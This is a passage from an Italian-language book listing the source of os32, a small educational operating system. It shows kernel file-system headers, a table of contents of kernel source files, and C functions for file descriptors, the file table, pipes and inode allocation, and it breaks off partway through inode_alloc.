590046 typedef struct directory directory_t;
590047 //----------------------------------------------------------------------
590048 #define SB_MAX_SLOTS  16                // Handle max 16 file systems.
590049
590050 struct sb {                            // File system super block:
590051     uint16_t      inodes;              // inodes available;
590052     uint16_t      zones;               // zones available (disk size);
590053     uint16_t      map_inode_blocks;    // inode bit map blocks;
590054     uint16_t      map_zone_blocks;     // data-zone bit map blocks;
590055     uint16_t      first_data_zone;     // first data-zone;
590056     uint16_t      log2_size_zone;      // log_2 (size_zone/block_size);
590057     uint32_t      max_file_size;       // max file size in bytes;
590058     uint16_t      magic_number;        // file system magic number.
590059     //------------------------------------------------------------------
590060     // Extra management data, not saved inside the file system
590061     // super block.
590062     //------------------------------------------------------------------
590063     dev_t         device;                      // FS device [3]
590064     inode_t      *inode_mounted_on;            // [4]
590065     blksize_t     blksize;                     // Calculated zone size.
590066     int           options;                     // [5]
590067     uint16_t      map_inode[SB_MAP_INODE_SIZE];
590068     uint16_t      map_zone[SB_MAP_ZONE_SIZE];
590069     char          changed;
590070 };
590071
590072 extern sb_t    sb_table[SB_MAX_SLOTS];
590073 //
590074 // [3] the member 'device' must be kept at the same position, because
590075 //     it is used to calculate the super block header size, saved on
```

```
590076 //     disk.
590077 //
590078 // [4] If this pointer is not NULL, the super block is related to a
590079 //     device mounted on a directory. The inode of such directory is
590080 //     recorded here. Please note that it is type 'void *', instead of
590081 //     type 'inode_t', because type 'inode_t' is declared after type
590082 //     'sb_t'.
590083 //     Please note that the type 'sb_t' is declared before the
590084 //     type 'inode_t', but this member points to a type 'inode_t'.
590085 //     This is the reason because it was necessary to declare first
590086 //     the type 'inode_t' as made of 'struct inode', to be described
590087 //     later. For coherence, all derived type made of structured data,
590088 //     are first declared as structure, and then, later, described.
590089 //
590090 // [5] Mount options can be only 'MOUNT_DEFAULT' or 'MOUNT_RO',
590091 //     as defined inside file 'lib/sys/os32.h'.
590092 //
590093 //----------------------------------------------------------------------
590094 #define INODE_MAX_SLOTS           (32 * OPEN_MAX)
590095 #define INODE_PIPE_BUFFER_SIZE    18    // (7 dir. + 2 ind.) * 2.
590096 //
590097 struct inode {                          // Inode (32 byte total):
590098     uint16_t      mode;                 // file type and permissions;
590099     uint16_t      uid;                  // user ID (16 bit);
590100     uint32_t      size;                 // file size in bytes;
590101     uint32_t      time;                 // file data modification time;
590102     uint8_t       gid;                  // group ID (8 bit);
590103     uint8_t       links;                // links to the inode;
590104     uint16_t      direct[7];            // direct zones;
590105     uint16_t      indirect1;            // indirect zones;
590106     uint16_t      indirect2;            // double indirect zones.
590107     //------------------------------------------------------------------
590108     // Extra management data, not saved inside the disk file system.
590109     //------------------------------------------------------------------
590110     sb_t         *sb;                   // Inode's super block. [7]
590111     ino_t         ino;                  // Inode number.
590112     sb_t         *sb_attached;          // [8]
590113     blkcnt_t      blkcnt;               // Rounded size/blksize.
590114     unsigned char references;           // Run time active references.
590115     char          changed  : 1,         // 1 == to be saved.
590116                   pipe_dir : 1;         // 0 == read, 1 == write.
590117     unsigned char pipe_off_read;        // Pipe read offset.
590118     unsigned char pipe_off_write;       // Pipe write offset
590119     unsigned char pipe_ref_read;        // Pipe read references.
590120     unsigned char pipe_ref_write;       // Pipe write references
590121 };
590122
590123 extern inode_t inode_table[INODE_MAX_SLOTS];
590124 //
590125 // [7] the member 'sb' must be kept at the same position, because
590126 //     it is used to calculate the inode header size, saved on disk.
590127 //
```

```
590128 // [8] If the inode is a mount point for another device, the other
590129 //     super block pointer is saved inside 'sb_attached'.
590130 //
590131 //----------------------------------------------------------------------
590132 #define FILE_MAX_SLOTS             (64 * OPEN_MAX)
590133
590134 struct file {
590135     int           references;
590136     off_t         offset;               // File position.
590137     int           oflags;               // Open mode: r/w/r+w [9]
590138     inode_t      *inode;
590139 };
590140
590141 extern file_t file_table[FILE_MAX_SLOTS];
590142 //
590143 // [9] the member 'oflags' can get only O_RDONLY, O_WRONLY, O_RDWR,
590144 //     (from header 'fcntl.h') combined with OR binary operator.
590145 //
590146 //----------------------------------------------------------------------
590147 struct fd {
590148     int           fl_flags;             // File status flags and file
590149                                         // access modes. [10]
590150     int           fd_flags;             // File descriptor flags:
590151                                         // currently only FD_CLOEXEC.
590152     file_t       *file;                 // Pointer to the file table.
590153 };
590154 //
590155 // [10] the member 'fl_flags' can get only O_RDONLY, O_WRONLY, O_RDWR,
590156 //      O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC and O_APPEND
590157 //      (from header 'fcntl.h') combined with OR binary
590158 //      operator. Options like O_DSYNC, O_NONBLOCK, O_RSYNC and O_SYNC
590159 //      are not taken into consideration by os32.
590160 //
590161 //----------------------------------------------------------------------
590162 struct directory {                      // Directory entry:
590163     uint16_t      ino;                  // inode number;
590164     char          name[NAME_MAX];       // file name.
590165 };
590166 //----------------------------------------------------------------------
590167 void     fs_init          (void);
590168 //----------------------------------------------------------------------
590169 int      sb_inode_status (sb_t *sb, ino_t ino);
590170 sb_t    *sb_mount        (dev_t device, inode_t **inode_mnt,
590171                           int options);
590172 void     sb_print        (void);
590173 sb_t    *sb_reference    (dev_t device);
590174 int      sb_save         (sb_t *sb);
590175 int      sb_zone_status  (sb_t *sb, zno_t zone);
590176 //----------------------------------------------------------------------
590177 zno_t    zone_alloc           (sb_t *sb);
590178 int      zone_free            (sb_t *sb, zno_t zone);
590179 void     zone_print           (sb_t *sb, zno_t zone);
```

```
590180 int      zone_read            (sb_t *sb, zno_t zone, void *buffer);
590181 int      zone_write           (sb_t *sb, zno_t zone, void *buffer);
590182 //----------------------------------------------------------------------
590183 inode_t *inode_alloc          (dev_t device, mode_t mode, uid_t uid,
590184                                 gid_t gid);
590185 int      inode_check          (inode_t *inode, mode_t type,
590186                                 int perm, uid_t uid, gid_t gid);
590187 int      inode_dir_empty      (inode_t *inode);
590188 ssize_t  inode_file_read      (inode_t *inode, off_t offset,
590189                                 void *buffer, size_t count, int *eof);
590190 ssize_t  inode_file_write     (inode_t *inode, off_t offset,
590191                                 void *buffer, size_t count);
590192 int      inode_free           (inode_t *inode);
590193 blkcnt_t inode_fzones_read    (inode_t *inode, zno_t zone_start,
590194                                 void *buffer, blkcnt_t blkcnt);
590195 blkcnt_t inode_fzones_write   (inode_t *inode, zno_t zone_start,
590196                                 void *buffer, blkcnt_t blkcnt);
590197 inode_t *inode_get            (dev_t device, ino_t ino);
590198 inode_t *inode_pipe_make      (void);
590199 ssize_t  inode_pipe_read      (inode_t *inode, void *buffer,
590200                                 size_t count, int *eof);
590201 ssize_t  inode_pipe_write     (inode_t *inode, void *buffer,
590202                                 size_t count);
590203 void     inode_print          (void);
590204 int      inode_put            (inode_t *inode);
590205 inode_t *inode_reference      (dev_t device, ino_t ino);
590206 int      inode_save           (inode_t *inode);
590207 inode_t *inode_stdio_dev_make (dev_t device, mode_t mode);
590208 int      inode_truncate       (inode_t *inode);
590209 zno_t    inode_zone           (inode_t *inode, zno_t fzone, int write);
590210 //----------------------------------------------------------------------
590211 file_t  *file_pipe_make       (void);
590212 file_t  *file_reference       (int fno);
590213 file_t  *file_stdio_dev_make  (dev_t device, mode_t mode, int oflags);
590214 //----------------------------------------------------------------------
590215 dev_t    path_device     (pid_t pid, const char *path);
590216 int      path_fix        (char *path);
590217 int      path_full       (const char *path,
590218                           const char *path_cwd,
590219                           char *full_path);
590220 inode_t *path_inode      (pid_t pid, const char *path);
590221 inode_t *path_inode_link (pid_t pid, const char *path, inode_t *inode,
590222                           mode_t mode);
590223 //----------------------------------------------------------------------
590224 int      fd_dup       (pid_t pid, int fdn_old, int fdn_min);
590225 fd_t    *fd_reference (pid_t pid, int *fdn);
590226 //----------------------------------------------------------------------
590227
590228 #endif
```

119.1 os32: directory principale 7031

119.1.1 applic.sep.ld 7031
119.1.2 bochs 7032
119.1.3 elf-to-os32 7032
119.1.4 kernel.ld 7034
119.1.5 makeit.sep 7035
119.1.6 qemu 7042

119.2 os32: «kernel/blk.h» 7043

119.2.1 kernel/blk/blk_ata.c 7050
119.2.2 kernel/blk/blk_cache_check.c 7052
119.2.3 kernel/blk/blk_cache_init.c 7052
119.2.4 kernel/blk/blk_cache_read.c 7053
119.2.5 kernel/blk/blk_cache_save.c 7054
119.2.6 kernel/blk/blk_public.c 7055

119.3 os32: «kernel/dev.h» 7055

119.3.1 kernel/dev/dev_ata.c 7062
119.3.2 kernel/dev/dev_dm.c 7064
119.3.3 kernel/dev/dev_io.c 7065
119.3.4 kernel/dev/dev_kmem.c 7066
119.3.5 kernel/dev/dev_mem.c 7070
119.3.6 kernel/dev/dev_tty.c 7072

119.4 os32: «kernel/dm.h» 7074

119.4.1 kernel/dm/dm_init.c 7080
119.4.2 kernel/dm/dm_public.c 7083
119.4.3 kernel/driver/ata.h 7083
119.4.4 kernel/driver/ata/ata_cmd_identify_device.c 7086
119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c 7087
119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c 7089
119.4.7 kernel/driver/ata/ata_device.c 7091
119.4.8 kernel/driver/ata/ata_drq.c 7092
119.4.9 kernel/driver/ata/ata_init.c 7093
119.4.10 kernel/driver/ata/ata_lba28.c 7098
119.4.11 kernel/driver/ata/ata_public.c 7099
119.4.12 kernel/driver/ata/ata_rdy.c 7099
119.4.13 kernel/driver/ata/ata_reset.c 7101
119.4.14 kernel/driver/ata/ata_valid.c 7101
119.4.15 kernel/driver/kbd.h 7102
119.4.16 kernel/driver/kbd/kbd_isr.c 7102

119.4.17 kernel/driver/kbd/kbd_load.c 7104
119.4.18 kernel/driver/kbd/kbd_public.c 7106
119.4.19 kernel/driver/screen.h 7106
119.4.20 kernel/driver/screen/screen_clear.c 7107
119.4.21 kernel/driver/screen/screen_current.c 7108
119.4.22 kernel/driver/screen/screen_init.c 7108
119.4.23 kernel/driver/screen/screen_new_line.c 7109
119.4.24 kernel/driver/screen/screen_number.c 7110
119.4.25 kernel/driver/screen/screen_pointer.c 7111
119.4.26 kernel/driver/screen/screen_public.c 7111
119.4.27 kernel/driver/screen/screen_putc.c 7111
119.4.28 kernel/driver/screen/screen_scroll.c 7113
119.4.29 kernel/driver/screen/screen_select.c 7114
119.4.30 kernel/driver/screen/screen_update.c 7114
119.4.31 kernel/driver/tty.h 7116
119.4.32 kernel/driver/tty/tty_console.c 7116
119.4.33 kernel/driver/tty/tty_init.c 7117
119.4.34 kernel/driver/tty/tty_public.c 7119
119.4.35 kernel/driver/tty/tty_read.c 7119
119.4.36 kernel/driver/tty/tty_reference.c 7120
119.4.37 kernel/driver/tty/tty_write.c 7121

119.5 os32: «kernel/fs.h» 7121

119.5.1 kernel/fs/fd_dup.c 7131
119.5.2 kernel/fs/fd_reference.c 7133
119.5.3 kernel/fs/file_pipe_make.c 7134
119.5.4 kernel/fs/file_reference.c 7135
119.5.5 kernel/fs/file_stdio_dev_make.c 7136
119.5.6 kernel/fs/file_table.c 7137
119.5.7 kernel/fs/fs_init.c 7137
119.5.8 kernel/fs/inode_alloc.c 7137
119.5.9 kernel/fs/inode_check.c 7141
119.5.10 kernel/fs/inode_dir_empty.c 7142
119.5.11 kernel/fs/inode_file_read.c 7144
119.5.12 kernel/fs/inode_file_write.c 7146
119.5.13 kernel/fs/inode_free.c 7148
119.5.14 kernel/fs/inode_fzones_read.c 7149
119.5.15 kernel/fs/inode_fzones_write.c 7151
119.5.16 kernel/fs/inode_get.c 7152
119.5.17 kernel/fs/inode_pipe_make.c 7155

119.5.18 kernel/fs/inode_pipe_read.c 7157
119.5.19 kernel/fs/inode_pipe_write.c 7159
119.5.20 kernel/fs/inode_print.c 7161
119.5.21 kernel/fs/inode_put.c 7163
119.5.22 kernel/fs/inode_reference.c 7164
119.5.23 kernel/fs/inode_save.c 7166
119.5.24 kernel/fs/inode_stdio_dev_make.c 7167
119.5.25 kernel/fs/inode_table.c 7169
119.5.26 kernel/fs/inode_truncate.c 7169
119.5.27 kernel/fs/inode_zone.c 7172
119.5.28 kernel/fs/path_device.c 7180
119.5.29 kernel/fs/path_fix.c 7181
119.5.30 kernel/fs/path_full.c 7183
119.5.31 kernel/fs/path_inode.c 7184
119.5.32 kernel/fs/path_inode_link.c 7188
119.5.33 kernel/fs/sb_inode_status.c 7193
119.5.34 kernel/fs/sb_mount.c 7194
119.5.35 kernel/fs/sb_print.c 7197
119.5.36 kernel/fs/sb_public.c 7198
119.5.37 kernel/fs/sb_reference.c 7198
119.5.38 kernel/fs/sb_save.c 7199
119.5.39 kernel/fs/sb_zone_status.c 7201
119.5.40 kernel/fs/zone_alloc.c 7202
119.5.41 kernel/fs/zone_free.c 7203
119.5.42 kernel/fs/zone_print.c 7204
119.5.43 kernel/fs/zone_read.c 7205
119.5.44 kernel/fs/zone_write.c 7206

119.6 os32: «kernel/ibm_i386.h» 7207

119.6.1 kernel/ibm_i386/_in_32.s 7217
119.6.2 kernel/ibm_i386/_in_16.s 7218
119.6.3 kernel/ibm_i386/_in_8.s 7218
119.6.4 kernel/ibm_i386/_out_32.s 7219
119.6.5 kernel/ibm_i386/_out_16.s 7219
119.6.6 kernel/ibm_i386/_out_8.s 7220
119.6.7 kernel/ibm_i386/cli.s 7220
119.6.8 kernel/ibm_i386/gdt.c 7221
119.6.9 kernel/ibm_i386/gdt_load.s 7222
119.6.10 kernel/ibm_i386/gdt_print.c 7222
119.6.11 kernel/ibm_i386/gdt_public.c 7223

119.6.12 kernel/ibm_i386/gdt_segment.c 7223
119.6.13 kernel/ibm_i386/idt.c 7224
119.6.14 kernel/ibm_i386/idt_descriptor.c 7226
119.6.15 kernel/ibm_i386/idt_irq_remap.c 7227
119.6.16 kernel/ibm_i386/idt_load.s 7228
119.6.17 kernel/ibm_i386/idt_print.c 7228
119.6.18 kernel/ibm_i386/idt_public.c 7229
119.6.19 kernel/ibm_i386/irq_off.c 7229
119.6.20 kernel/ibm_i386/irq_on.c 7230
119.6.21 kernel/ibm_i386/isr.s 7231
119.6.22 kernel/ibm_i386/isr_exception_name.c 7245
119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c 7246
119.6.24 kernel/ibm_i386/isr_irq_clear.c 7246
119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c 7247
119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c 7247
119.6.27 kernel/ibm_i386/sti.s 7247

119.7 os32: «kernel/lib_k.h» 7248

119.7.1 kernel/lib_k/k_exit.s 7254
119.7.2 kernel/lib_k/k_gets.c 7255
119.7.3 kernel/lib_k/k_perror.c 7255
119.7.4 kernel/lib_k/k_printf.c 7256
119.7.5 kernel/lib_k/k_sleep.c 7256
119.7.6 kernel/lib_k/k_stime.c 7257
119.7.7 kernel/lib_k/k_vprintf.c 7257
119.7.8 kernel/lib_k/k_vsprintf.c 7258

119.8 os32: «kernel/lib_s.h» 7259

119.8.1 kernel/lib_s/s__exit.c 7266
119.8.2 kernel/lib_s/s_brk.c 7269
119.8.3 kernel/lib_s/s_chdir.c 7275
119.8.4 kernel/lib_s/s_chmod.c 7276
119.8.5 kernel/lib_s/s_chown.c 7277
119.8.6 kernel/lib_s/s_clock.c 7278
119.8.7 kernel/lib_s/s_close.c 7278
119.8.8 kernel/lib_s/s_dup.c 7280
119.8.9 kernel/lib_s/s_dup2.c 7280
119.8.10 kernel/lib_s/s_fchmod.c 7281
119.8.11 kernel/lib_s/s_fchown.c 7282
119.8.12 kernel/lib_s/s_fcntl.c 7283

119.8.13 kernel/lib_s/s_fork.c 7285
119.8.14 kernel/lib_s/s_fstat.c 7291
119.8.15 kernel/lib_s/s_kill.c 7292
119.8.16 kernel/lib_s/s_link.c 7295
119.8.17 kernel/lib_s/s_longjmp.c 7296
119.8.18 kernel/lib_s/s_lseek.c 7297
119.8.19 kernel/lib_s/s_mkdir.c 7299
119.8.20 kernel/lib_s/s_mknod.c 7301
119.8.21 kernel/lib_s/s_mount.c 7303
119.8.22 kernel/lib_s/s_open.c 7304
119.8.23 kernel/lib_s/s_pipe.c 7310
119.8.24 kernel/lib_s/s_read.c 7312
119.8.25 kernel/lib_s/s_sbrk.c 7315
119.8.26 kernel/lib_s/s_setegid.c 7316
119.8.27 kernel/lib_s/s_seteuid.c 7317
119.8.28 kernel/lib_s/s_setgid.c 7317
119.8.29 kernel/lib_s/s_setjmp.c 7318
119.8.30 kernel/lib_s/s_setuid.c 7319
119.8.31 kernel/lib_s/s_signal.c 7320
119.8.32 kernel/lib_s/s_stat.c 7321
119.8.33 kernel/lib_s/s_stime.c 7323
119.8.34 kernel/lib_s/s_tcgetattr.c 7323
119.8.35 kernel/lib_s/s_tcsetattr.c 7325
119.8.36 kernel/lib_s/s_time.c 7326
119.8.37 kernel/lib_s/s_umount.c 7327
119.8.38 kernel/lib_s/s_unlink.c 7329
119.8.39 kernel/lib_s/s_wait.c 7333
119.8.40 kernel/lib_s/s_write.c 7334

119.9 os32: «kernel/main.h» 7337

119.9.1 kernel/main/build.h 7344
119.9.2 kernel/main/crt0.s 7344
119.9.3 kernel/main/kmain.c 7345
119.9.4 kernel/main/menu.c 7351
119.9.5 kernel/main/run.c 7352
119.9.6 kernel/main/stack.s 7353

119.10 os32: «kernel/memory.h» 7353

119.10.1 kernel/memory/mb_alloc.c 7360
119.10.2 kernel/memory/mb_alloc_size.c 7362

119.10.3 kernel/memory/mb_clean.c 7364
119.10.4 kernel/memory/mb_free.c 7364
119.10.5 kernel/memory/mb_print.c 7366
119.10.6 kernel/memory/mb_public.c 7368
119.10.7 kernel/memory/mb_reduce.c 7368
119.10.8 kernel/memory/mb_reference.c 7369
119.10.9 kernel/memory/mb_size.c 7369

119.11 os32: «kernel/multiboot.h» 7370

119.11.1 kernel/multiboot/mboot_public.c 7376
119.11.2 kernel/multiboot/mboot_save.c 7376

119.12 os32: «kernel/part.h» 7377

119.13 os32: «kernel/proc.h» 7384

119.13.1 kernel/proc/proc_available.c 7393
119.13.2 kernel/proc/proc_dump_memory.c 7394
119.13.3 kernel/proc/proc_init.c 7395
119.13.4 kernel/proc/proc_offset_data_to_pointer.c 7399
119.13.5 kernel/proc/proc_print.c 7399
119.13.6 kernel/proc/proc_public.c 7401
119.13.7 kernel/proc/proc_reference.c 7402
119.13.8 kernel/proc/proc_sch_signals.c 7402
119.13.9 kernel/proc/proc_sch_terminals.c 7403
119.13.10 kernel/proc/proc_sch_timers.c 7410
119.13.11 kernel/proc/proc_scheduler.c 7411
119.13.12 kernel/proc/proc_sig_chld.c 7415
119.13.13 kernel/proc/proc_sig_cont.c 7416
119.13.14 kernel/proc/proc_sig_core.c 7416
119.13.15 kernel/proc/proc_sig_handler.c 7418
119.13.16 kernel/proc/proc_sig_ignore.c 7422
119.13.17 kernel/proc/proc_sig_off.c 7423
119.13.18 kernel/proc/proc_sig_on.c 7423
119.13.19 kernel/proc/proc_sig_status.c 7423
119.13.20 kernel/proc/proc_sig_stop.c 7424
119.13.21 kernel/proc/proc_sig_term.c 7424
119.13.22 kernel/proc/proc_sys_exec.c 7425
119.13.23 kernel/proc/proc_timer_init.c 7440
119.13.24 kernel/proc/proc_wakeup_pipe_read.c 7441
119.13.25 kernel/proc/proc_wakeup_pipe_write.c 7441
119.13.26 kernel/proc/proc_wakeup_terminal.c 7442

119.13.27 kernel/proc/sysroutine.c 7443

119.5.1 kernel/fs/fd_dup.c

Si veda la sezione 118.5.1.

```
600001 #include <kernel/proc.h>
600002 #include <kernel/fs.h>
600003 #include <errno.h>
600004 #include <fcntl.h>
600005 //----------------------------------------------------------------------
600006 int
600007 fd_dup (pid_t pid, int fdn_old, int fdn_min)
600008 {
600009     proc_t *ps;
600010     int     fdn_new;
600011     //
600012     // Verify argument.
600013     //
600014     if (fdn_min < 0 || fdn_min >= OPEN_MAX)
600015       {
600016         errset (EINVAL);                 // Invalid argument.
600017         return (-1);
600018       }
600019     //
600020     // Get process.
600021     //
600022     ps = proc_reference (pid);
600023     //
600024     // Verify if 'fdn_old' is a valid value.
600025     //
600026     if (fdn_old < 0                      ||
600027         fdn_old >= OPEN_MAX              ||
600028         ps->fd[fdn_old].file == NULL)
600029       {
600030         errset (EBADF);                  // Bad file descriptor.
600031         return (-1);
600032       }
600033     //
600034     // Find the first free slot and duplicate the file descriptor.
600035     //
600036     for (fdn_new = fdn_min; fdn_new < OPEN_MAX; fdn_new++)
600037       {
600038         if (ps->fd[fdn_new].file == NULL)
600039           {
600040             ps->fd[fdn_new].fl_flags = ps->fd[fdn_old].fl_flags;
600041             ps->fd[fdn_new].fd_flags
600042                 = ps->fd[fdn_old].fd_flags & ~FD_CLOEXEC;
600043             ps->fd[fdn_new].file = ps->fd[fdn_old].file;
600044             ps->fd[fdn_new].file->references++;
600045             return (fdn_new);
600046           }
```

```
600047          }
600048        //
600049        // No fd slot available.
600050        //
600051        errset (EMFILE);            // Too many open files.
600052        return (-1);
600053    }
```

119.5.2 kernel/fs/fd_reference.c

Si veda la sezione 118.5.2.

```
610001    #include <kernel/proc.h>
610002    #include <kernel/lib_k.h>
610003    #include <errno.h>
610004    //----------------------------------------------------------------------
610005    fd_t *
610006    fd_reference (pid_t pid, int *fdn)
610007    {
610008        proc_t *ps;
610009        //
610010        // Get process.
610011        //
610012        ps = proc_reference (pid);
610013        //
610014        // See what to do.
610015        //
610016        if (*fdn < 0)
610017          {
610018            //
610019            // Find the first free slot.
610020            //
610021            for (*fdn = 0; *fdn < OPEN_MAX; (*fdn)++)
610022              {
610023                if (ps->fd[*fdn].file == NULL)
610024                  {
610025                    return (&(ps->fd[*fdn]));
610026                  }
610027              }
610028            *fdn = -1;
610029            return (NULL);
610030          }
610031        else
610032          {
610033            if (*fdn < OPEN_MAX)
610034              {
610035                //
610036                // Might return even a free file descriptor.
610037                //
610038                return (&(ps->fd[*fdn]));
610039              }
```

```
610040          else
610041            {
610042              return (NULL);
610043            }
610044        }
610045  }
```

119.5.3 kernel/fs/file_pipe_make.c

Si veda la sezione 118.5.4.

```
620001  #include <kernel/proc.h>
620002  #include <errno.h>
620003  #include <fcntl.h>
620004  //----------------------------------------------------------------------
620005  file_t *
620006  file_pipe_make (void)
620007  {
620008      inode_t *inode;
620009      file_t  *file;
620010      //
620011      // Try to allocate a device inode.
620012      //
620013      inode = inode_pipe_make ();
620014      if (inode == NULL)
620015        {
620016          //
620017          // Variable 'errno' is already set by 'inode_stdio_dev_make()'.
620018          //
620019          errset (errno);
620020          return (NULL);
620021        }
620022      //
620023      // Inode allocated: need to allocate the system file item.
620024      //
620025      file = file_reference (-1);
620026      if (file == NULL)
620027        {
620028          //
620029          // Remove the inode and return an error.
620030          //
620031          inode_put (inode);
620032          errset (ENFILE);        // Too many files open in system.
620033          return (NULL);
620034        }
620035      //
620036      // Fill with data the system file item.
620037      //
620038      file->references = 2;
620039      file->oflags     = (O_RDONLY | O_WRONLY);
620040      file->inode      = inode;
```

```
620041      //
620042      // Return system file pointer.
620043      //
620044      return (file);
620045  }
```

119.5.4 kernel/fs/file_reference.c

Si veda la sezione 118.5.5.

```
630001  #include <kernel/proc.h>
630002  #include <errno.h>
630003  #include <fcntl.h>
630004  //----------------------------------------------------------------------
630005  file_t *
630006  file_reference (int fno)
630007  {
630008      //
630009      // Check type of request.
630010      //
630011      if (fno < 0)
630012        {
630013          //
630014          // Find a free slot.
630015          //
630016          for (fno = 0; fno < FILE_MAX_SLOTS; fno++)
630017            {
630018              if (file_table[fno].references <= 0)
630019                {
630020                  return (&file_table[fno]);
630021                }
630022            }
630023          return (NULL);
630024        }
630025      else if (fno > FILE_MAX_SLOTS)
630026        {
630027          return (NULL);
630028        }
630029      else
630030        {
630031          return (&file_table[fno]);
630032        }
630033  }
```

119.5.5 kernel/fs/file_stdio_dev_make.c

Si veda la sezione 118.5.6.

```
640001 #include <kernel/proc.h>
640002 #include <errno.h>
640003 #include <fcntl.h>
640004 //----------------------------------------------------------------------
640005 file_t *
640006 file_stdio_dev_make (dev_t device, mode_t mode, int oflags)
640007 {
640008     inode_t *inode;
640009     file_t  *file;
640010     //
640011     // Try to allocate a device inode.
640012     //
640013     inode = inode_stdio_dev_make (device, mode);
640014     if (inode == NULL)
640015       {
640016         //
640017         // Variable `errno' is already set by `inode_stdio_dev_make()'.
640018         //
640019         errset (errno);
640020         return (NULL);
640021       }
640022     //
640023     // Inode allocated: need to allocate the system file item.
640024     //
640025     file = file_reference (-1);
640026     if (file == NULL)
640027       {
640028         //
640029         // Remove the inode and return an error.
640030         //
640031         inode_put (inode);
640032         errset (ENFILE);        // Too many files open in system.
640033         return (NULL);
640034       }
640035     //
640036     // Fill with data the system file item.
640037     //
640038     file->references = 1;
640039     file->oflags     = (oflags & (O_RDONLY | O_WRONLY));
640040     file->inode      = inode;
640041     //
640042     // Return system file pointer.
640043     //
640044     return (file);
640045 }
```

119.5.6 kernel/fs/file_table.c

Si veda la sezione 118.5.5.

```
650001 #include <kernel/fs.h>
650002 //----------------------------------------------------------------------
650003 file_t file_table[FILE_MAX_SLOTS];
650004 //----------------------------------------------------------------------
```

119.5.7 kernel/fs/fs_init.c

Si veda la sezione 118.5.3.

```
660001 #include <kernel/fs.h>
660002 //----------------------------------------------------------------------
660003 void
660004 fs_init (void)
660005 {
660006     int s;
660007     int i;
660008     int f;
660009     //
660010     for (s = 0; s < SB_MAX_SLOTS; s++)
660011       {
660012         sb_table[s].device           = 0;
660013         sb_table[s].inode_mounted_on = NULL;
660014       }
660015     //
660016     for (i = 0; i < INODE_MAX_SLOTS; i++)
660017       {
660018         inode_table[i].references = 0;
660019       }
660020     //
660021     for (f = 0; f < FILE_MAX_SLOTS; f++)
660022       {
660023         file_table[f].references = 0;
660024         file_table[f].inode      = NULL;
660025       }
660026 }
```

119.5.8 kernel/fs/inode_alloc.c

Si veda la sezione 118.5.7.

```
670001 #include <kernel/fs.h>
670002 #include <errno.h>
670003 #include <kernel/lib_k.h>
670004 #include <kernel/lib_s.h>
670005 //----------------------------------------------------------------------
670006 inode_t *
```

```
670007 inode_alloc (dev_t device, mode_t mode, uid_t uid, gid_t gid)
670008 {
670009     sb_t        *sb;
670010     inode_t     *inode;
670011     int          m;                     // Index inside the inode map.
670012     int          map_element;
670013     int          map_bit;
670014     int          map_mask;
670015     ino_t        ino;
670016     //
670017     // Check for arguments.
670018     //
670019     if (mode == 0)
670020       {
670021         errset (EINVAL);        // Invalid argument.
670022         return (NULL);
670023       }
670024     //
670025     // Get the super block from the known device.
670026     //
670027     sb = sb_reference (device);
670028     if (sb == NULL)
670029       {
670030         errset (ENODEV);        // No such device.
670031         return (NULL);
670032       }
670033     //
670034     // Find a free inode.
670035     //
670036     while (1)
670037       {
670038         //
670039         // Scan the inode bit map, to find a free inode
670040         // for new allocation.
670041         //
670042         for (m = 0; m < (SB_MAP_INODE_SIZE * 16); m++)
670043           {
670044             map_element = m / 16;
670045             map_bit     = m % 16;
670046             map_mask    = 1 << map_bit;
670047             if (!(sb->map_inode[map_element] & map_mask))
670048               {
670049                 //
670050                 // Found a free element: change the map to
670051                 // allocate the inode.
670052                 //
670053                 sb->map_inode[map_element] |= map_mask;
670054                 sb->changed = 1;
670055                 ino = m;  // Found a free inode:
670056                 break;          // exit the scan loop.
670057               }
670058           }
```

```
670059          //
670060          // Check if the scan was successful.
670061          //
670062          if (ino == 0)
670063            {
670064              errset (ENOSPC);    // No space left on device.
670065              return (NULL);
670066            }
670067          //
670068          // The inode was allocated inside the map in memory.
670069          //
670070          inode = inode_get (device, ino);
670071          if (inode == NULL)
670072            {
670073              errset (ENFILE);    // Too many files open in system.
670074              return (NULL);
670075            }
670076          //
670077          // Verify if the inode is really free: if it isn’t, must save
670078          // it to disk.
670079          //
670080          if (inode->size > 0 || inode->links > 0)
670081            {
670082              //
670083              // Strange: should not have a size! Check if there are even
670084              // links. Please note that 255 links (that is -1) is to be
670085              // considered a free inode, marked in a special way for some
670086              // unknown reason. Currently, ‘LINK_MAX’ is equal to 254,
670087              // for that reason.
670088              //
670089              if (inode->links > 0 && inode->links < LINK_MAX)
670090                {
670091                  //
670092                  // Tell something.
670093                  //
670094                  k_printf ("kernel alert: device %04x: "
670095                            "found \"free\" inode %i "
670096                            "that still has size %i "
670097                            "and %i links!\n",
670098                            device, ino, inode->size, inode->links);
670099                  //
670100                  // The inode must be set again to free, inside
670101                  // the bit map.
670102                  //
670103                  map_element = ino / 16;
670104                  map_bit     = ino % 16;
670105                  map_mask    = 1 << map_bit;
670106                  sb->map_inode[map_element] &= ~map_mask;
670107                  sb->changed = 1;
670108                  //
670109                  // Try to fix: reset all to zero.
670110                  //
```

```
670111                     inode->mode      = 0;
670112                     inode->uid       = 0;
670113                     inode->gid       = 0;
670114                     inode->time      = 0;
670115                     inode->links     = 0;
670116                     inode->size      = 0;
670117                     inode->direct[0] = 0;
670118                     inode->direct[1] = 0;
670119                     inode->direct[2] = 0;
670120                     inode->direct[3] = 0;
670121                     inode->direct[4] = 0;
670122                     inode->direct[5] = 0;
670123                     inode->direct[6] = 0;
670124                     inode->indirect1 = 0;
670125                     inode->indirect2 = 0;
670126                     inode->changed   = 1;
670127                     //
670128                     // Save fixed inode to disk.
670129                     //
670130                     inode_put (inode);
670131                     continue;
670132                   }
670133                 else
670134                   {
670135                     //
670136                     // Truncate the inode, save and break.
670137                     //
670138                     inode_truncate (inode);
670139                     inode_save (inode);
670140                     break;
670141                   }
670142               }
670143             else
670144               {
670145                 //
670146                 // Considering free the inode found.
670147                 //
670148                 break;
670149               }
670150           }
670151         //
670152         // Put data inside the inode.
670153         //
670154         inode->mode    = mode;
670155         inode->uid     = uid;
670156         inode->gid     = gid;
670157         inode->size    = 0;
670158         inode->time    = s_time ((pid_t) 0, NULL);
670159         inode->links   = 0;
670160         inode->changed = 1;
670161         //
670162         // Save the inode.
```

```
670163        //
670164        inode_save (inode);
670165        //
